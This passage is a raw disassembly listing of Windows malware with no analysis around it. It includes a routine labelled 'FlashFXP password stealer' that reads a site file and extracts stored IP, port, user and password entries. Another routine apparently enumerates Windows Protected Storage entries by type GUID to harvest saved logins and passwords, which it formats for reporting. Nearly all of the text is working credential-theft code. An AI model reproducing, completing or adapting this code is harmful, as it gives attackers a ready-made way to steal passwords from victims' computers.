		jmp	short locret_414A1C
; ---------------------------------------------------------------------------

loc_414A17:				; CODE XREF: sub_4148CE+72j
		jmp	loc_414971
; ---------------------------------------------------------------------------

locret_414A1C:				; CODE XREF: sub_4148CE+9Ej
					; sub_4148CE+E0j ...
		leave
		retn
sub_4148CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A1E	proc near		; DATA XREF: sub_414EB0+35o

var_5E0		= dword	ptr -5E0h
var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= byte ptr -5C4h
var_544		= byte ptr -544h
var_4C4		= byte ptr -4C4h
var_444		= byte ptr -444h
var_3C4		= dword	ptr -3C4h
var_3C0		= dword	ptr -3C0h
var_3BC		= dword	ptr -3BCh
var_3B8		= dword	ptr -3B8h
var_3B4		= byte ptr -3B4h
var_334		= dword	ptr -334h
var_330		= byte ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_190		= byte ptr -190h
var_184		= dword	ptr -184h
var_180		= byte ptr -180h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5E0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_4148CE
		pop	ecx
		test	eax, eax
		jnz	short loc_414A6B
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_414EAC
; ---------------------------------------------------------------------------

loc_414A6B:				; CODE XREF: sub_414A1E+38j
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D3B8
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	[ebp+var_184], 0
		and	[ebp+var_334], 0
		mov	al, [ebp+var_190]
		mov	[ebp+var_330], al
		and	[ebp+var_190], 0
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_3C4], eax
		cmp	[ebp+var_3C4], 0
		jnz	short loc_414ACF
		jmp	loc_414EAA
; ---------------------------------------------------------------------------

loc_414ACF:				; CODE XREF: sub_414A1E+AAj
		push	2
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_3C4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_3C0], eax
		cmp	[ebp+var_3C0], 100000h
		jnb	short loc_414B0D
		mov	eax, [ebp+var_3C0]
		mov	[ebp+var_5E0], eax
		jmp	short loc_414B17
; ---------------------------------------------------------------------------

loc_414B0D:				; CODE XREF: sub_414A1E+DFj
		mov	[ebp+var_5E0], 100000h

loc_414B17:				; CODE XREF: sub_414A1E+EDj
		mov	eax, [ebp+var_5E0]
		mov	[ebp+var_3C0], eax
		push	0
		push	0
		push	[ebp+var_3C4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		mov	eax, [ebp+var_3C0]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_3BC], eax
		cmp	[ebp+var_3BC], 0
		jnz	short loc_414B63
		push	[ebp+var_3C4]
		call	sub_416B82	; fclose
		pop	ecx
		jmp	loc_414EA8
; ---------------------------------------------------------------------------

loc_414B63:				; CODE XREF: sub_414A1E+132j
		push	[ebp+var_3C4]
		push	[ebp+var_3C0]
		push	1
		push	[ebp+var_3BC]
		call	sub_416B90	; fread
		add	esp, 10h
		push	[ebp+var_3C4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_3BC]
		add	eax, [ebp+var_3C0]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_3BC]
		mov	[ebp+var_3B8], eax

loc_414BA6:				; CODE XREF: sub_414A1E+428j
		push	offset asc_41D3B0 ; "\r\n\r\n["
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5DC], eax
		mov	eax, [ebp+var_3B8]
		mov	[ebp+var_5D0], eax
		push	offset aIp	; "\r\nIP="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5C8], eax
		push	offset aPort	; "\r\nPort="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D8], eax
		push	offset aUser_0	; "\r\nUser="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5CC], eax
		push	offset aPass_0	; "\r\nPass="
		push	[ebp+var_3B8]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D4], eax
		cmp	[ebp+var_5C8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C52
		mov	eax, [ebp+var_5C8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13

loc_414C52:				; CODE XREF: sub_414A1E+220j
		cmp	[ebp+var_5D8], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414C7A
		mov	eax, [ebp+var_5D8]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13

loc_414C7A:				; CODE XREF: sub_414A1E+248j
		cmp	[ebp+var_5CC], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CA2
		mov	eax, [ebp+var_5CC]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13

loc_414CA2:				; CODE XREF: sub_414A1E+270j
		cmp	[ebp+var_5D4], 0
		jz	loc_414E13
		cmp	[ebp+var_5DC], 0
		jz	short loc_414CCA
		mov	eax, [ebp+var_5D4]
		cmp	eax, [ebp+var_5DC]
		jnb	loc_414E13

loc_414CCA:				; CODE XREF: sub_414A1E+298j
		and	[ebp+var_4C4], 0
		mov	al, [ebp+var_4C4]
		mov	[ebp+var_3B4], al
		mov	al, [ebp+var_3B4]
		mov	[ebp+var_5C4], al
		mov	al, [ebp+var_5C4]
		mov	[ebp+var_444], al
		mov	al, [ebp+var_444]
		mov	[ebp+var_544], al
		lea	eax, [ebp+var_544]
		push	eax
		push	offset asc_41D384 ; "[%[^]]]\r\n"
		push	[ebp+var_5D0]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_444]
		push	eax
		push	offset aIp127s	; "\r\nIP=%127s\r\n"
		push	[ebp+var_5C8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_5C4]
		push	eax
		push	offset aPort127s ; "\r\nPort=%127s\r\n"
		push	[ebp+var_5D8]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_3B4]
		push	eax
		push	offset aUser127s ; "\r\nUser=%127s\r\n"
		push	[ebp+var_5CC]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		push	offset aPass127s ; "\r\nPass=%127s\r\n"
		push	[ebp+var_5D4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4147E5
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_414DA1
		jmp	loc_414E4B
; ---------------------------------------------------------------------------

loc_414DA1:				; CODE XREF: sub_414A1E+37Cj
		mov	eax, [ebp+var_334]
		inc	eax
		mov	[ebp+var_334], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp+var_544]
		push	eax
		lea	eax, [ebp+var_5C4]
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		lea	eax, [ebp+var_3B4]
		push	eax
		push	[ebp+var_334]
		push	offset dword_41D318
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 20h
		mov	eax, [ebp+var_32C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_414E13
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_414EA6
; ---------------------------------------------------------------------------

loc_414E13:				; CODE XREF: sub_414A1E+213j
					; sub_414A1E+22Ej ...
		mov	eax, [ebp+var_184]
		inc	eax
		mov	[ebp+var_184], eax
		mov	eax, [ebp+var_5DC]
		mov	[ebp+var_3B8], eax
		cmp	[ebp+var_3B8], 0
		jnz	short loc_414E37
		jmp	short loc_414E4B
; ---------------------------------------------------------------------------

loc_414E37:				; CODE XREF: sub_414A1E+415j
		mov	eax, [ebp+var_3B8]
		add	eax, 4
		mov	[ebp+var_3B8], eax
		jmp	loc_414BA6
; ---------------------------------------------------------------------------

loc_414E4B:				; CODE XREF: sub_414A1E+37Ej
					; sub_414A1E+417j
		push	[ebp+var_3BC]
		call	sub_416B4C	; free
		pop	ecx

loc_414E57:				; CODE XREF: sub_414A1E:loc_414EA6j
		mov	al, [ebp+var_330]
		mov	[ebp+var_190], al
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_184]
		push	[ebp+var_334]
		mov	eax, [ebp+var_32C]
		push	dword ptr [eax]
		push	offset unk_41D2DC
		lea	eax, [ebp+var_328]
		push	eax
		call	sub_40D53F
		add	esp, 14h

loc_414E96:				; CODE XREF: sub_414A1E:loc_414EA8j
					; sub_414A1E:loc_414EAAj
		push	[ebp+var_32C]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_414EAC
; ---------------------------------------------------------------------------

loc_414EA6:				; CODE XREF: sub_414A1E+3F0j
		jmp	short loc_414E57
; ---------------------------------------------------------------------------

loc_414EA8:				; CODE XREF: sub_414A1E+140j
		jmp	short loc_414E96
; ---------------------------------------------------------------------------

loc_414EAA:				; CODE XREF: sub_414A1E+ACj
		jmp	short loc_414E96
; ---------------------------------------------------------------------------

locret_414EAC:				; CODE XREF: sub_414A1E+48j
					; sub_414A1E+486j
		leave
		retn	4
sub_414A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414EB0	proc near		; CODE XREF: sub_40A9CF+769p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414ECA
		jmp	short locret_414EF2
; ---------------------------------------------------------------------------

loc_414ECA:				; CODE XREF: sub_414EB0+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFlashfxpPasswo ; "FlashFXP password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414A1E
		call	sub_4095A4
		add	esp, 10h

locret_414EF2:				; CODE XREF: sub_414EB0+18j
		leave
		retn
sub_414EB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414EF4	proc near		; DATA XREF: sub_415AF0+40o
		mov	eax, offset loc_416FDD
		call	sub_416E10
		sub	esp, 0FFCh
		push	esi
		push	edi
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-0BF0h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		and	dword ptr [ebp-0A00h], 0
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414F4C
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_414F4C:				; CODE XREF: sub_414EF4+44j
		and	dword ptr [ebp-0A00h], 0
		push	0
		push	0
		push	0
		lea	eax, [ebp-0A00h]
		push	eax
		call	dword_41DF50
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_414FB2
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD0h], 0
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_414FA7
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_414FA7:				; CODE XREF: sub_414EF4+9Fj
		mov	eax, [ebp-0FD0h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------

loc_414FB2:				; CODE XREF: sub_414EF4+7Fj
		and	dword ptr [ebp-10h], 0
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_414FCC
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_414FCC:				; CODE XREF: sub_414EF4+CAj
		and	dword ptr [ebp-10h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_414FE3
		push	80004003h
		call	sub_416E40

loc_414FE3:				; CODE XREF: sub_414EF4+E3j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE0h], eax
		lea	eax, [ebp-10h]
		push	eax
		push	0
		push	0
		mov	eax, [ebp-0FE0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE0h]
		call	dword ptr [eax+38h]
		mov	[ebp-0FDCh], eax
		cmp	dword ptr [ebp-0FDCh], 0
		jge	short loc_41502D
		push	offset dword_41D648
		push	dword ptr [ebp-0FE0h]
		push	dword ptr [ebp-0FDCh]
		call	sub_416E4E

loc_41502D:				; CODE XREF: sub_414EF4+121j
		mov	eax, [ebp-0FDCh]
		mov	[ebp-0DF4h], eax
		cmp	dword ptr [ebp-0DF4h], 0
		jge	short loc_415095
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD4h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_41506B
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_41506B:				; CODE XREF: sub_414EF4+169j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_41508A
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_41508A:				; CODE XREF: sub_414EF4+182j
		mov	eax, [ebp-0FD4h]
		jmp	loc_415AE0
; ---------------------------------------------------------------------------

loc_415095:				; CODE XREF: sub_414EF4+14Cj
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D614
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		and	dword ptr [ebp-214h], 0
		mov	al, [ebp-0A54h]
		mov	[ebp-0A14h], al
		and	byte ptr [ebp-0A54h], 0

loc_4150CB:				; CODE XREF: sub_414EF4:loc_415A54j
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_4150DB
		push	80004003h
		call	sub_416E40

loc_4150DB:				; CODE XREF: sub_414EF4+1DBj
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	1
		mov	eax, [ebp-10h]
		mov	[ebp-1000h], eax
		mov	eax, [ebp-1000h]
		mov	eax, [eax]
		push	dword ptr [ebp-1000h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A59
		mov	eax, [ebp-0BF0h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_415119
		jmp	loc_415A59
; ---------------------------------------------------------------------------

loc_415119:				; CODE XREF: sub_414EF4+21Ej
		sub	esp, 10h
		lea	esi, [ebp-0A10h]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	offset asc_41D610 ; "%x"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 18h
		and	dword ptr [ebp-0DF8h], 0
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415163
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_415163:				; CODE XREF: sub_414EF4+25Bj
		and	dword ptr [ebp-0DF8h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41517D
		push	80004003h
		call	sub_416E40

loc_41517D:				; CODE XREF: sub_414EF4+27Dj
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE8h], eax
		lea	eax, [ebp-0DF8h]
		push	eax
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FE8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE8h]
		call	dword ptr [eax+3Ch]
		mov	[ebp-0FE4h], eax
		cmp	dword ptr [ebp-0FE4h], 0
		jge	short loc_4151D1
		push	offset dword_41D648
		push	dword ptr [ebp-0FE8h]
		push	dword ptr [ebp-0FE4h]
		call	sub_416E4E

loc_4151D1:				; CODE XREF: sub_414EF4+2C5j
		mov	eax, [ebp-0FE4h]
		mov	[ebp-0DF4h], eax

loc_4151DD:				; CODE XREF: sub_414EF4:loc_415A30j
		cmp	dword ptr [ebp-0DF8h], 0
		jnz	short loc_4151F0
		push	80004003h
		call	sub_416E40

loc_4151F0:				; CODE XREF: sub_414EF4+2F0j
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		push	1
		mov	eax, [ebp-0DF8h]
		mov	[ebp-1004h], eax
		mov	eax, [ebp-1004h]
		mov	eax, [eax]
		push	dword ptr [ebp-1004h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A35
		and	dword ptr [ebp-0E14h], 0
		mov	byte ptr [ebp-4], 3
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415246
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

loc_415246:				; CODE XREF: sub_414EF4+33Ej
		and	dword ptr [ebp-0E14h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_415260
		push	80004003h
		call	sub_416E40

loc_415260:				; CODE XREF: sub_414EF4+360j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF0h], eax
		lea	eax, [ebp-0E14h]
		push	eax
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF0h]
		call	dword ptr [eax+54h]
		mov	[ebp-0FECh], eax
		cmp	dword ptr [ebp-0FECh], 0
		jge	short loc_4152BB
		push	offset dword_41D648
		push	dword ptr [ebp-0FF0h]
		push	dword ptr [ebp-0FECh]
		call	sub_416E4E

loc_4152BB:				; CODE XREF: sub_414EF4+3AFj
		mov	eax, [ebp-0FECh]
		mov	[ebp-0E10h], eax

loc_4152C7:				; CODE XREF: sub_414EF4+B18j
		cmp	dword ptr [ebp-0E14h], 0
		jnz	short loc_4152DA
		push	80004003h
		call	sub_416E40

loc_4152DA:				; CODE XREF: sub_414EF4+3DAj
		push	0
		lea	eax, [ebp-0E0Ch]
		push	eax
		push	1
		mov	eax, [ebp-0E14h]
		mov	[ebp-1008h], eax
		mov	eax, [ebp-1008h]
		mov	eax, [eax]
		push	dword ptr [ebp-1008h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A11
		push	dword ptr [ebp-0E0Ch]
		push	offset aWs	; "%ws"
		lea	eax, [ebp-210h]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch
		and	dword ptr [ebp-0E18h], 0
		and	dword ptr [ebp-0EE8h], 0
		and	dword ptr [ebp-0EE4h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41534D
		push	80004003h
		call	sub_416E40

loc_41534D:				; CODE XREF: sub_414EF4+44Dj
		mov	eax, [ebp-0E0Ch]

loc_415353:				; DATA XREF: BrattyUS:off_419100o
		mov	[ebp-0FFCh], eax
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF8h], eax
		push	0
		push	dword ptr [ebp-0EE4h]
		lea	eax, [ebp-0EE8h]
		push	eax
		lea	eax, [ebp-0E18h]
		push	eax
		push	dword ptr [ebp-0FFCh]
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF8h]
		call	dword ptr [eax+44h]
		mov	[ebp-0FF4h], eax
		cmp	dword ptr [ebp-0FF4h], 0
		jge	short loc_4153C7
		push	offset dword_41D648
		push	dword ptr [ebp-0FF8h]
		push	dword ptr [ebp-0FF4h]
		call	sub_416E4E

loc_4153C7:				; CODE XREF: sub_414EF4+4BBj
		mov	eax, [ebp-0FF4h]
		mov	[ebp-0E10h], eax
		push	dword ptr [ebp-0EE8h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-0E18h]
		dec	ecx
		cmp	eax, ecx
		jnb	loc_415477
		and	dword ptr [ebp-0EECh], 0
		and	dword ptr [ebp-0EF0h], 0
		jmp	short loc_41540C
; ---------------------------------------------------------------------------

loc_4153FE:				; CODE XREF: sub_414EF4+571j
		mov	eax, [ebp-0EF0h]
		inc	eax
		inc	eax
		mov	[ebp-0EF0h], eax

loc_41540C:				; CODE XREF: sub_414EF4+508j
		mov	eax, [ebp-0EF0h]
		cmp	eax, [ebp-0E18h]
		jnb	short loc_415467
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41543D
		mov	eax, [ebp-0EECh]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		jmp	short loc_415458
; ---------------------------------------------------------------------------

loc_41543D:				; CODE XREF: sub_414EF4+537j
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		mov	ecx, [ebp-0EECh]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al

loc_415458:				; CODE XREF: sub_414EF4+547j
		mov	eax, [ebp-0EECh]
		inc	eax
		mov	[ebp-0EECh], eax
		jmp	short loc_4153FE
; ---------------------------------------------------------------------------

loc_415467:				; CODE XREF: sub_414EF4+524j
		mov	eax, [ebp-0EECh]
		and	byte ptr [ebp+eax-9FDh], 0
		jmp	short loc_415492
; ---------------------------------------------------------------------------

loc_415477:				; CODE XREF: sub_414EF4+4F4j
		push	dword ptr [ebp-0EE8h]
		push	offset dword_418B64
		lea	eax, [ebp-9FCh]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch

loc_415492:				; CODE XREF: sub_414EF4+581j
		push	offset byte_41DF00
		lea	eax, [ebp-7FCh]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset byte_41DF00
		lea	eax, [ebp-0DF0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset a220d5cc1 ; "220d5cc1"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	short loc_41550C
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41550C
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D5C0
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h

loc_41550C:				; CODE XREF: sub_414EF4+5D6j
					; sub_414EF4+5EEj
		push	offset a5e7e8100 ; "5e7e8100"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_4155CE
		push	offset byte_41DF00
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415587
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0

loc_415587:				; CODE XREF: sub_414EF4+659j
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D55C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h

loc_4155CE:				; CODE XREF: sub_414EF4+62Cj
		push	offset aB9819c52 ; "b9819c52"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_415842
		and	dword ptr [ebp-0FC8h], 0
		mov	dword ptr [ebp-0EFCh], 1
		and	dword ptr [ebp-0FCCh], 0
		jmp	short loc_415610
; ---------------------------------------------------------------------------

loc_415602:				; CODE XREF: sub_414EF4:loc_4156CFj
		mov	eax, [ebp-0FCCh]
		inc	eax
		inc	eax
		mov	[ebp-0FCCh], eax

loc_415610:				; CODE XREF: sub_414EF4+70Cj
		mov	eax, [ebp-0FCCh]
		cmp	eax, [ebp-0E18h]
		jnb	loc_4156D4
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_415652
		mov	eax, [ebp-0FC8h]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax
		jmp	short loc_4156CF
; ---------------------------------------------------------------------------

loc_415652:				; CODE XREF: sub_414EF4+73Fj
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	al, [eax]
		push	eax
		call	dword_4171DC	; IsCharAlphaNumericA
		test	eax, eax
		jnz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 40h
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 5Fh
		jnz	short loc_4156CF

loc_4156A7:				; CODE XREF: sub_414EF4+775j
					; sub_414EF4+789j ...
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	ecx, [ebp-0FC8h]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax

loc_4156CF:				; CODE XREF: sub_414EF4+75Cj
					; sub_414EF4+7B1j
		jmp	loc_415602
; ---------------------------------------------------------------------------

loc_4156D4:				; CODE XREF: sub_414EF4+728j
		mov	eax, [ebp-0FC8h]
		and	byte ptr [ebp+eax-9FDh], 0
		lea	eax, [ebp-9FAh]
		mov	[ebp-0EF4h], eax
		and	dword ptr [ebp-0EF8h], 0
		jmp	short loc_415704
; ---------------------------------------------------------------------------

loc_4156F7:				; CODE XREF: sub_414EF4:loc_41583Dj
		mov	eax, [ebp-0EF8h]
		inc	eax
		mov	[ebp-0EF8h], eax

loc_415704:				; CODE XREF: sub_414EF4+801j
		mov	eax, [ebp-0EE8h]
		movzx	eax, byte ptr [eax+4]
		cmp	[ebp-0EF8h], eax
		jge	loc_415842
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D54C
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41575C
		push	offset dword_41D54C
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0

loc_41575C:				; CODE XREF: sub_414EF4+850j
		push	offset dword_41D54C
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415798
		push	offset dword_41D54C
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		inc	eax
		push	eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	dword_4170FC	; lstrcpy

loc_415798:				; CODE XREF: sub_414EF4+87Ej
		push	offset dword_41D54C
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4157C5
